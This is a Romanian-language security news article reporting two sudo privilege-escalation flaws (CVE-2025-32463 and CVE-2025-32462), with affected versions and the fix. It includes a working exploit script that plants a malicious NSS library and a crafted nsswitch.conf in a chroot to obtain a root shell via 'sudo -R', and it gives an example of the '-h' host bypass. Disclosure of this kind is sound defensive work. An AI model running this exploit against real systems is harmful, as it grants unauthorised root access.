În pachetul sudo, utilizat pentru a organiza execuția comenzilor în numele altor utilizatori, a fost descoperită o vulnerabilitate (CVE-2025-32463) care permite oricărui utilizator fără privilegii să execute cod cu drepturi de root, chiar dacă utilizatorul nu este menționat în configurația sudoers. Distribuțiile afectate sunt cele care folosesc fișierul de configurare /etc/nsswitch.conf, de exemplu, exploatarea vulnerabilității a fost demonstrată în Ubuntu 24.04 și Fedora 41.
Vulnerabilitatea se manifestă în configurația implicită și este confirmată în versiunile sudo de la 1.9.14 la 1.9.17 (potențial afectează toate versiunile începând cu 1.8.33). Problema a fost rezolvată în actualizarea sudo 1.9.17p1. Verificați starea noii versiuni a pachetului sau a remedierii în distribuțiile următoare (dacă pagina nu este disponibilă, înseamnă că dezvoltatorii distribuției nu au început să abordeze problema): Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo și Arch (1, 2).
Problema este cauzată de faptul că, atunci când se aplică opțiunea „-R” („—chroot”) pentru a rula comenzi într-un mediu chroot cu un director rădăcină selectat, fișierul /etc/nsswitch.conf era încărcat în contextul noii rădăcini, nu al directorului sistemului. Deoarece utilizatorul poate folosi propriul director ca rădăcină pentru chroot, el poate plasa în acesta fișierul de configurare nsswitch.conf. Prin controlul fișierului /etc/nsswitch.conf încărcat de subsistemul NSS (Name Service Switch), utilizatorul poate adăuga setări care vor duce la apelarea unor manipulatoare suplimentare. Aceste manipulatoare sunt încărcate de NSS sub formă de biblioteci partajate, care pot fi, de asemenea, plasate în directorul controlat de utilizator. Introducând biblioteca sa, utilizatorul poate obține execuția de cod din aceasta cu drepturi de root, deoarece procesarea NSS se desfășoară înainte de resetarea privilegiilor.
Exemplu de exploit: #!/bin/bash STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > woot1337.c<<EOF #include #include __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir("/"); execl("/bin/bash", "/bin/bash", NULL); } EOF mkdir -p woot/etc libnss_ echo "passwd: /woot1337" > woot/etc/nsswitch.conf cp /etc/group woot/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c echo "woot!" sudo -R woot woot rm -rf ${STAGE?}
În versiunea sudo 1.9.17p1 a fost remediată o altă vulnerabilitate (CVE-2025-32462), care permite executarea de comenzi cu privilegii de root, dar care se manifestă doar în configurațiile sudoers, unde parametrul „host” este setat la o valoare diferită de ALL sau de numele gazdei curente. Vulnerabilitatea este cauzată de o eroare, care face ca opțiunea „-h” („—host”) să funcționeze nu doar împreună cu opțiunea „-l” („—list”) pentru a afișa privilegiile legate de gazdă, ci și la executarea comenzilor. Astfel, utilizatorul putea indica oricare gazdă la apelul sudo și să ocolească restricțiile regulilor sudoers legate de numele gazdei.
Pentru a efectua atacul, utilizatorul trebuie să fie menționat în sudoers; de exemplu, dacă în configurații este setat „testuser testhost = ALL”, atunci utilizatorul „testuser” putea specifica „sudo -h testhost” și să execute comenzi cu privilegii de root pe orice gazdă, nu doar pe gazda testhost. Configurațiile de tip „testuser ALL = ALL” sau cele fără reguli clare pentru utilizatorii specifici nu sunt afectate de aceste vulnerabilități.
Sursa: opennet.ro
